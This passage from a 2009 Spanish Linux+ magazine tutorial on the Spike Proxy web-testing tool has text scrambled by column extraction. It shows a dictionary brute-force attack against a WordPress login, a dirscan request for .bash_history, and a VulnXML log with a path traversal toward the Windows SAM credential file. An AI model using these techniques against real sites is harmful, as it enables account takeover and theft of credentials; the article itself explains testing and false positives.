a la url http://spike para empezar a ver cómo * Request: POST25682954217020HTTPA1.1200491756_www.dominio.com
funciona el panel de administración, que no es Print Request Info, rewrite request, Display Response,
más que un un html con varios frames como crawl, argscan, dirscan, overflow VulnXML Tests
vemos en la Figura 1: * Request: GET256829542HTTPA1.1200468816_www.dominio2.com
Print Request Info, rewrite request, Display Response,
• Frame inferior: Muestra el log, es don- crawl, argscan, dirscan, overflow VulnXML Tests
de veremos los resultados de ciertos * Request: GET188229542HTTPA1.1404436566_www.dominio3.com
ataques y acciones que realicemos con Print Request Info, rewrite request,
Spike. Display Response, crawl, argscan,
• Frame central: Muestra una base de datos dirscan, overflow VulnXML Tests
ordenada por dominios con las comunica-
ciones capturadas desde que arrancamos Listado 2. Ejemplo del comando Print Request Info
por primera vez la aplicación, esto nos
permite poder trabajar sobre ellas en Site: www.dominio.com
nistración, en él seleccionamos lo que User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; Bob)
actividad. log=Administrador&pwd=Contrase
de la configuración.
Configuración
del navegador
Las solicitudes idénticas no se guardan para
no repetir información inútilmente. Vamos
a ver ahora cómo configurar el navegador
y cómo usar la opción que más nos interesa
de Spike, la de poder analizar y experimentar
con las conexiones http que realicemos.
Configurar Mozilla Firefox para usar Spike
Proxy:
• Arrancamos Firefox,
• Nos dirigimos a Editar –> Preferencias –>
Avanzado –> Configurar conexión a In-
ternet,
• Activamos Configuración Manual del
proxy,
• En Proxy HTTP usamos la IP 127.0.0.1
y el puerto 8080. Figura 1. Panel de administración de Spike
www.lpmagazine.org 85
práctica
Spike Proxy
Analizando nuevo la solicitud, pero variando alguno Como se aprecia, la variable pwd va cam-
el tráfico HTTP / HTTPS o todos parámetros (Navegador, Url, Post, biando de valor, que es lo que nosotros quería-
Al pulsar sobre Request Cache en el menú de Get, Encoding,Cookie,...). Estos formula- mos. El valor de las variables las saca de los
administración podremos ver una salida pareci- rios de Rewrite request están divididos en diccionarios que encontramos en el directorio
da a la que está presentada en el Listado 1. secciones: de spike (allwords, words y passchecklist).
Cada línea es una solicitud a un sitio http – 1ª Parte: Objetivo (Listado 3). Pero este ataque debemos saber que no es muy
realizada por el proxy, ésta incluye también su – 2ª Parte: Cabeceras Http (Listado 4). fiable, ya que tal y como trabaja este proxy,
respuesta como veremos a continuación. Los – 3ª Parte: URL Args (Variables pasadas puede encontrar la clave correcta para un de-
campos son los siguientes: mediante GET). En nuestro ejemplo terminado usuario y que no se reporte como
propuesto, el método usado para en- encontrada.
• Print Request Info: Muestra la solicitud del viar variables era POST, por eso en la Para asegurarnos que la fuerza bruta
cliente en texto plano, veamos un ejemplo imagen no se ve nada en esos formu- funciona correctamente en nuestra página de
en el Listado 2. larios de la sección URL Args. autenticación y no ofrecerá falsos positivos,
• Rewrite request: Ésta es una de las opcio- – 4ª Parte: Body Args (Variables pasadas podemos añadir la clave auténtica en algu-
nes más interesantes, al pulsar sobre ella mediante POST) (Listado 5). nos de los ficheros como prueba de concepto
se visualizan un buen número de formu- y estudiar qué sucede. Lo mejor sería fijarse
larios con todo el contenido de la solicitud Si queremos usar una de las variables para en la salida de la consola al ejecutar spike,
anteriormente visualizada en Print Request realizar inyecciones, usaremos la opción In- prestar atención a qué es lo que muestra cuan-
Info. Esto nos permite editar y reenviar de jectionscan que encontramos en la sección do acierta la clave, qué es lo que nos dice la
de Request Cache. respuesta del server, ver en qué difiere con las
Si queremos realizar fuerza bruta contra demás respuestas fallidas y así poder filtrarla.
una variable de las que vemos en los for- Por defecto usa el fichero allwords. Veamos
mularios de rewrite request, por norma la un ejemplo de acierto de contraseña en wor-
encargada de enviar la contraseña o el usua- dpress, todo en la consola donde tenemos el
rio, usaremos la opción password. Al ejecutar proxy arrancado (Listado 7).
los ataques se puede visualizar en la terminal Spike no avisará que se descubrió la
donde está arrancado spike Proxy, los paque- contraseña (mipassword) aunque en este caso
tes que estamos enviando al servidor y sus la haya acertado, pero si en consola filtramos
respuestas en tiempo real. Si nos fijamos en con grep de forma simple, una vez tengamos
las solicitudes mientras realizamos el ataque identificada la respuesta del server web al in-
de fuerza bruta, veremos líneas como las pre- troducrir la contraseña correcta, podremos ver
sentadas en el Listado 6. si nuestro ataque de fuerza bruta resulto exitoso
Verb: Post
ConnectHost: www.dominio.com
ConnectPort: 80
URL: /wp-login.php
SSL:
Host: www.dominio.com
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Keep-Alive: 300
...
Content-Type: application/x-www-form-urlencoded
pwd=Contrase%C3%B1aAdminitrador
log=Administrador
submit=Login+%C2%BB
redirect_to=wp-admin%2F
BodyArg0: pwd: ContraseñaAdministrador
Entry Actions: INJECTIONSCAN PASSWORD
86 Linux+ 4/2009
práctica
Spike Proxy
Listado 6. Realizando el ataque de fuerza bruta cado anteriormente la parte más importante de
Spike, pasemos a comentar las otras opciones
log=Administrador&pwd=NR&submit= que nos ofrece.
Login+%C2%BB&redirect_to=wp-admin%2F
log=Administrador&pwd=BizTalkTracking&submit= Buscando Bugs
Login+%C2%BB&redirect_to=wp-admin%2F de seguridad en una
log=Administrador&pwd=Printers&submit= determinada aplicación Web
Login+%C2%BB&redirect_to=wp-admin%2F Volvemos a la parte de Request Cache y vere-
log=Administrador&pwd=PBSData&submit= mos en qué consisten las opciones restantes:
Login+%C2%BB&redirect_to=wp-admin%2F Display Response, crawl, argscan, dirscan,
... overflow VulnXML Tests.
www.lpmagazine.org 87
práctica
Spike Proxy
o no es accesible. Al haber variedad en los tipos usamos esta opción. Veamos un ejemplo del dirscan realmente tiene un funcionamiento
de respuestas que un servidor puede enviar para reporte mostrado por dirscan (Listado 8). tan pésimo que no es nada fiable y no se reco-
reportar un tipo de solicitud fallida, podemos NOTA: En nuestro caso, los tres ficheros mienda su uso.
encontrarnos con varios falsos positivos si reportados son falsos positivos. La opción
Overflow
Listado 9. Buscando ficheros comprometidos Como su propio nombre indica, esta opción
usa variables de gran tamaño para testear la
# Petición de Spike: aplicación web. Para poder usar esta opción
Trying to connect to www.dominio.com:80 debemos dirigirnos a una solicitud http que in-
Sent request: cluya variables, ya sea usando el método GET
GET /.bash_history HTTP/1.1 o POST. Veamos una imagen de las solicitudes
Host: www.dominio.com que muestra la consola cuando usamos dicha
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; Bob) opción (Figura 3).
Accept: text/xml,application/xml,
application/xhtml+xml,text/html;q=0.9, VulnXML Tests
text/plain;q=0.8,image/png,*/*;q=0.5 Intenta explotar un conjunto de vulnerabili-
Accept-Language: en-us,en;q=0.5 dades conocidas (Whisker/Nikto) usando una
Accept-Encoding: gzip,deflate base de datos con un sinfín de ataques cono-
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 cidos y preparados para ser lanzados.
Keep-Alive: 300
Connection: keep-alive ¿Falsos positivos?
Cookie: lang=spanish El proxy Spike es propenso a falsos positivos
# Respuesta servidor: cuando usamos sus funcionalidades de testeos
Response Header: de seguridad, que como sabemos tampoco es
HTTP/1.1 302 Found su punto fuerte. Por eso se deben interpretar
Date: Mon, 19 Jan 2009 15:54:00 GMT sus resultados como suma cautela, el proxy
Server: Apache basa el éxito de sus tests realizados en los
Location: http://www.dominio.com/error.php mensajes http que devuelve el servidor (có-
Content-Length: 223 digos de estado) y ese es el problema, porque
Keep-Alive: timeout=3, max=1000 las respuestas frente a una misma solicitud
Connection: Keep-Alive fallida pueden depender del CMS usado y su
Content-Type: text/html; charset=iso-8859-1 configuración.
Códigos de estado de Http los podréis
Listado 10. VulnXML Tests encontrar aquí: http://es.wikipedia.org/wiki/
Anexo:C%C3%B3digos_de_estado_HTTP.
[01/Feb/2009:19:52:53 +0100]
Para explicar el por qué de estos falsos
"GET /scripts/tools/getdrvrs.exe HTTP/1.0" 404 224
positivos con un ejemplo, veamos un frag-
[01/Feb/2009:19:52:53 +0100]
mento de la conversación entre nuestro proxy
"GET /scripts/tools/newdsn.exe HTTP/1.0" 404 222
y la aplicación web a la que intentamos es-
[01/Feb/2009:19:52:53 +0100]
canear en busca de ficheros comprometidos
"GET /scripts/Carello/Carello.dll HTTP/1.0" 404 225
(Listado 9).
[01/Feb/2009:19:52:53 +0100]
El proxy ha solicitado el fichero .bash_
"GET /..%2F..%2F..%2F..%2F..%2F../winnt/repair/sam
history como se ve en el ejemplo, ese archi-
HTTP/1.0" 404 232
vo no está realmente alojado en el servidor,
[01/Feb/2009:19:52:54 +0100]
pero el proxy lo da por encontrado. Como
"GET /scripts/iisadmin/bdir.htr HTTP/1.0" 404 223
vemos, es otro falso positivo. Esto se debe
[01/Feb/2009:19:52:54 +0100]
a que la contestación del sistema web testeado
"GET /scripts/samples/search/author.idq HTTP/1.0" 404 231
ha sido un HTTP/1.1 302 Found, que equivale
[01/Feb/2009:19:52:54 +0100]
a una redirección. Si el mensaje fuera 404 no
"GET /scripts/samples/search/filesize.idq HTTP/1.0" 404 233
tomaría esa respuesta como válida.
[01/Feb/2009:19:52:55 +0100]
El que ciertas páginas web respondan con
"GET /scripts/samples/search/filetime.idq HTTP/1.0" 404 233
un mensaje 302 a la solicitud de un fichero
[01/Feb/2009:19:52:55 +0100]
inesistente es algo muy habitual cuando quere-
"GET /scripts/samples/search/queryhit.idq HTTP/1.0" 404 233
mos redirigir todas las solicitudes erroneas a un
[01/Feb/2009:19:52:55 +0100]
mismo documento que contenga mensaje de
"GET /scripts/samples/search/simple.idq HTTP/1.0" 404 231
error, como es nuestrocaso. En el caso de apli
[01/Feb/2009:19:52:55 +0100]
caciones web que usen dicho método de noti-
"GET /scripts/tools/ctss.idc HTTP/1.0" 404 220
ficación de documentos inexistentes, spike mos-
trará que ha encontrado el 100% de los fiche-
88 Linux+ 4/2009
práctica
Spike Proxy
PUBLICIDAD
www.lpmagazine.org 89
El tema principal del siguiente número de Linux+ será:
Linux en la empresa
Mensual Linux+ está publicado Diseño portada: La Redacción se ha esforzado para que el material publicado en la
por Software-Wydawnictwo Sp. z o. o. Agnieszka Marchocka revista y en los DVDs que la acompañan funcionen correctamente.
Gráfico: Sin embargo, no se responsabiliza de los posibles problemas que
Producción: Łukasz Pabian – "insane" puedan surgir.
Marta Kurpiewska, marta@software.com.pl Publicidad:
Product Manager adv@software.com.pl Todas las marcas comerciales mencionadas en la revista son
Paulina Pyrowicz, paulina.pyrowicz@software.com.pl Suscripción: propiedad de las empresas correspondientes y han sido usadas
Redactora jefe: suscripcion@software.com.pl únicamente con fines informativos.
Aleksandra Tęsiorowska, a.tesiorowska@lpmagazine.org
Colaboradores: La Redacción usa el sistema de composición
Francisco Javier Carazo Gil, José Carlos Cortizo Pérez, automática
David Puente Castro, Jorge Emanuel Capurro Distribución:
Coedis, S. L. Los DVDs incluidos en la revista han sido comprobados con
Correctores: Avd. Barcelona, 225 el programa AntiVirenKit, producto de la empresa
Pablo Cardozo 08750 Molins de Rei (Barcelona), G Data Software Sp. z o.o.
España
Preparación de DVDs: ¡Advertencia!
Ireneusz Pogroszewski, Andrzej Kuca Dirección: Queda prohibida la reproducción total o parcial de esta ublicación
Software–Wydawnictwo Sp. z o.o., periódica, por cualquier medio o procedimiento, sin para ello
DTP: ul. Bokserska 1, contar con la autorización previa, expresa y por escrito del editor.
Marcin Ziółkowski 02-682 Varsovia,
Graphics & Design Studio, www.gdstudio.pl Polonia Linux ® es una marca comercial registrada de Linus Torvalds.